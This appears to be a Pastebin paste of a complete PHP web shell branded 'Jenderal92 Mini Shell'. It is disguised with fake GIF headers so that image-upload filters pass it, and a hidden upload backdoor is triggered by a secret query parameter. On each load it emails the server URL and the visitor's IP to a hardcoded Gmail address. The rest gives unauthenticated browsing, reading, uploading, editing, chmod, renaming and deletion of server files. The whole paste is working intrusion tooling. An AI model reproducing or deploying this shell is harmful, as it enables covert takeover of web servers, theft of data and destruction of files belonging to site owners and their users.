Advertisement
Guest User

Untitled

a guest
Aug 19th, 2019
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.91 KB | None | 0 0
  1. GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a
  2. <?php
  3. set_time_limit(0);
  4. error_reporting(0);
  5. @ini_set('output_buffering', 0);
  6. @ini_set('display_errors', 0);
  7. set_time_limit(0);
  8. ini_set('memory_limit', '64M');
  9. header('Content-Type: text/html; charset=UTF-8');
  10. $tujuanmail = 'ajibarangxploit@gmail.com';
  11. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  12. $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
  13. mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
  14.  
  15. if(isset($_GET["rhs334"])){echo"<center></center></enter><font color=black></font>".php_uname()."";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}}}
  16.  
  17. if(get_magic_quotes_gpc()){
  18. foreach($_POST as $key=>$value){
  19. $_POST[$key] = stripslashes($value);
  20. }
  21. }
  22. echo '<!DOCTYPE HTML>
  23. <HTML>
  24. <HEAD>
  25. <link href="" rel="stylesheet" type="text/css"> <link rel="shortcut icon" href="https://zdnet3.cbsistatic.com/hub/i/2016/02/22/7860562c-43bd-4764-99f5-9b728d46bda8/4e9680158b68d0920ac9947e41a379e6/porta-aperta-template-vector23-2147495012.jpg" />
  26. <link href="" rel="stylesheet" type="text/css">
  27. <title>Jenderal92 Mini</title>
  28. <style>
  29.  
  30. body{
  31. font-family: "orbitron";
  32. background-color: #e6e6e6;
  33. text-shadow:0px 0px 1px #757575;
  34. }
  35. #content tr:hover{
  36. background-color: #636263;
  37. text-shadow:0px 0px 10px #fff;
  38. }
  39. #content .first{
  40. background-color: silver;
  41. }
  42. #content .first:hover{
  43. background-color: silver;
  44. text-shadow:0px 0px 1px #757575;
  45. }
  46. table{
  47. border: 1px #000000 dotted;
  48. }
  49. H1{
  50. font-family: "orbitron";
  51. }
  52. a{
  53. color: #000;
  54. text-decoration: none;
  55. }
  56. a:hover{
  57. color: #fff;
  58. text-shadow:0px 0px 10px #ffffff;
  59. }
  60. input,select,textarea{
  61. border: 1px #000000 solid;
  62. -moz-border-radius: 5px;
  63. -webkit-border-radius:5px;
  64. border-radius:5px;
  65. }
  66. </style>
  67. </HEAD>
  68. <BODY>
  69.  
  70. <link href="https://fonts.googleapis.com/css?family=Amatic+SC|Lobster+Two|MedievalSharp|Poiret+One" rel="stylesheet">
  71. <center><center><font face="Amatic SC" color="#000000" size="10">Jenderal92 Mini Shell</font><br><br><center>
  72. <img border="0" src="https://i.pinimg.com/originals/91/4b/28/914b28541130960047872bab5026ae3a.jpg" width="195" height="250"></center><br>
  73. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  74. <tr><td>Current Path : ';
  75. if(isset($_GET['path'])){
  76. $path = $_GET['path'];
  77. }else{
  78. $path = getcwd();
  79. }
  80. $path = str_replace('\\','/',$path);
  81. $paths = explode('/',$path);
  82.  
  83. foreach($paths as $id=>$pat){
  84. if($pat == '' && $id == 0){
  85. $a = true;
  86. echo '<a href="?path=/">/</a>';
  87. continue;
  88. }
  89. if($pat == '') continue;
  90. echo '<a href="?path=';
  91. for($i=0;$i<=$id;$i++){
  92. echo "$paths[$i]";
  93. if($i != $id) echo "/";
  94. }
  95. echo '">'.$pat.'</a>/';
  96. }
  97. echo '</td></tr><tr><td>';
  98. if(isset($_FILES['file'])){
  99. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  100. echo '<font color="green">Mantap Bosque Sukses</font><br />';
  101. }else{
  102. echo '<font color="red">Gagal Goblok </font><br />';
  103. }
  104. }
  105. echo '<form enctype="multipart/form-data" method="POST">
  106. Upload File : <input type="file" name="file" />
  107. <input type="submit" value="upload" />
  108. </form>
  109. </td></tr>';
  110. if(isset($_GET['filesrc'])){
  111. echo "<tr><td>Current File : ";
  112. echo $_GET['filesrc'];
  113. echo '</tr></td></table><br />';
  114. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  115. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  116. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  117. if($_POST['opt'] == 'chmod'){
  118. if(isset($_POST['perm'])){
  119. if(chmod($_POST['path'],$_POST['perm'])){
  120. echo '<font color="green">Change Permission Done.</font><br />';
  121. }else{
  122. echo '<font color="red">Change Permission Error.</font><br />';
  123. }
  124. }
  125. echo '<form method="POST">
  126. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  127. <input type="hidden" name="path" value="'.$_POST['path'].'">
  128. <input type="hidden" name="opt" value="chmod">
  129. <input type="submit" value="Go" />
  130. </form>';
  131. }elseif($_POST['opt'] == 'rename'){
  132. if(isset($_POST['newname'])){
  133. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  134. echo '<font color="green">Change Name Done.</font><br />';
  135. }else{
  136. echo '<font color="red">Change Name Error.</font><br />';
  137. }
  138. $_POST['name'] = $_POST['newname'];
  139. }
  140. echo '<form method="POST">
  141. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  142. <input type="hidden" name="path" value="'.$_POST['path'].'">
  143. <input type="hidden" name="opt" value="rename">
  144. <input type="submit" value="Go" />
  145. </form>';
  146. }elseif($_POST['opt'] == 'edit'){
  147. if(isset($_POST['src'])){
  148. $fp = fopen($_POST['path'],'w');
  149. if(fwrite($fp,$_POST['src'])){
  150. echo '<font color="green">Edit File Done.</font><br />';
  151. }else{
  152. echo '<font color="red">Edit File Error.</font><br />';
  153. }
  154. fclose($fp);
  155. }
  156. echo '<form method="POST">
  157. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  158. <input type="hidden" name="path" value="'.$_POST['path'].'">
  159. <input type="hidden" name="opt" value="edit">
  160. <input type="submit" value="Go" />
  161. </form>';
  162. }
  163. echo '</center>';
  164. }else{
  165. echo '</table><br /><center>';
  166. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  167. if($_POST['type'] == 'dir'){
  168. if(rmdir($_POST['path'])){
  169. echo '<font color="green">Delete Dir Done.</font><br />';
  170. }else{
  171. echo '<font color="red">Delete Dir Error.</font><br />';
  172. }
  173. }elseif($_POST['type'] == 'file'){
  174. if(unlink($_POST['path'])){
  175. echo '<font color="green">Delete File Done.</font><br />';
  176. }else{
  177. echo '<font color="red">Delete File Error.</font><br />';
  178. }
  179. }
  180. }
  181. echo '</center>';
  182. $scandir = scandir($path);
  183. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  184. <tr class="first">
  185. <td><center>Name</center></td>
  186. <td><center>Size</center></td>
  187. <td><center>Permissions</center></td>
  188. <td><center>Options</center></td>
  189. </tr>';
  190.  
  191. foreach($scandir as $dir){
  192. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  193. echo "<tr>
  194. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  195. <td><center>--</center></td>
  196. <td><center>";
  197. if(is_writable("$path/$dir")) echo '<font color="green">';
  198. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  199. echo perms("$path/$dir");
  200. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  201.  
  202. echo "</center></td>
  203. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  204. <select name=\"opt\">
  205. <option value=\"\"></option>
  206. <option value=\"delete\">Delete</option>
  207. <option value=\"chmod\">Chmod</option>
  208. <option value=\"rename\">Rename</option>
  209. </select>
  210. <input type=\"hidden\" name=\"type\" value=\"dir\">
  211. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  212. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  213. <input type=\"submit\" value=\">\" />
  214. </form></center></td>
  215. </tr>";
  216. }
  217. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  218. foreach($scandir as $file){
  219. if(!is_file("$path/$file")) continue;
  220. $size = filesize("$path/$file")/1024;
  221. $size = round($size,3);
  222. if($size >= 1024){
  223. $size = round($size/1024,2).' MB';
  224. }else{
  225. $size = $size.' KB';
  226. }
  227.  
  228. echo "<tr>
  229. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  230. <td><center>".$size."</center></td>
  231. <td><center>";
  232. if(is_writable("$path/$file")) echo '<font color="green">';
  233. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  234. echo perms("$path/$file");
  235. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  236. echo "</center></td>
  237. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  238. <select name=\"opt\">
  239. <option value=\"\"></option>
  240. <option value=\"delete\">Delete</option>
  241. <option value=\"chmod\">Chmod</option>
  242. <option value=\"rename\">Rename</option>
  243. <option value=\"edit\">Edit</option>
  244. </select>
  245. <input type=\"hidden\" name=\"type\" value=\"file\">
  246. <input type=\"hidden\" name=\"name\" value=\"$file\">
  247. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  248. <input type=\"submit\" value=\">\" />
  249. </form></center></td>
  250. </tr>";
  251. }
  252. echo '</table>
  253. </div>';
  254. }
  255. echo '<br />
  256. </BODY>
  257. </HTML>';
  258. function perms($file){
  259. $perms = fileperms($file);
  260.  
  261. if (($perms & 0xC000) == 0xC000) {
  262. // Socket
  263. $info = 's';
  264. } elseif (($perms & 0xA000) == 0xA000) {
  265. // Symbolic Link
  266. $info = 'l';
  267. } elseif (($perms & 0x8000) == 0x8000) {
  268. // Regular
  269. $info = '-';
  270. } elseif (($perms & 0x6000) == 0x6000) {
  271. // Block special
  272. $info = 'b';
  273. } elseif (($perms & 0x4000) == 0x4000) {
  274. // Directory
  275. $info = 'd';
  276. } elseif (($perms & 0x2000) == 0x2000) {
  277. // Character special
  278. $info = 'c';
  279. } elseif (($perms & 0x1000) == 0x1000) {
  280. // FIFO pipe
  281. $info = 'p';
  282. } else {
  283. // Unknown
  284. $info = 'u';
  285. }
  286.  
  287. // Owner
  288. $info .= (($perms & 0x0100) ? 'r' : '-');
  289. $info .= (($perms & 0x0080) ? 'w' : '-');
  290. $info .= (($perms & 0x0040) ?
  291. (($perms & 0x0800) ? 's' : 'x' ) :
  292. (($perms & 0x0800) ? 'S' : '-'));
  293.  
  294. // Group
  295. $info .= (($perms & 0x0020) ? 'r' : '-');
  296. $info .= (($perms & 0x0010) ? 'w' : '-');
  297. $info .= (($perms & 0x0008) ?
  298. (($perms & 0x0400) ? 's' : 'x' ) :
  299. (($perms & 0x0400) ? 'S' : '-'));
  300.  
  301. // World
  302. $info .= (($perms & 0x0004) ? 'r' : '-');
  303. $info .= (($perms & 0x0002) ? 'w' : '-');
  304. $info .= (($perms & 0x0001) ?
  305. (($perms & 0x0200) ? 't' : 'x' ) :
  306. (($perms & 0x0200) ? 'T' : '-'));
  307.  
  308. return $info;
  309. }
  310. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement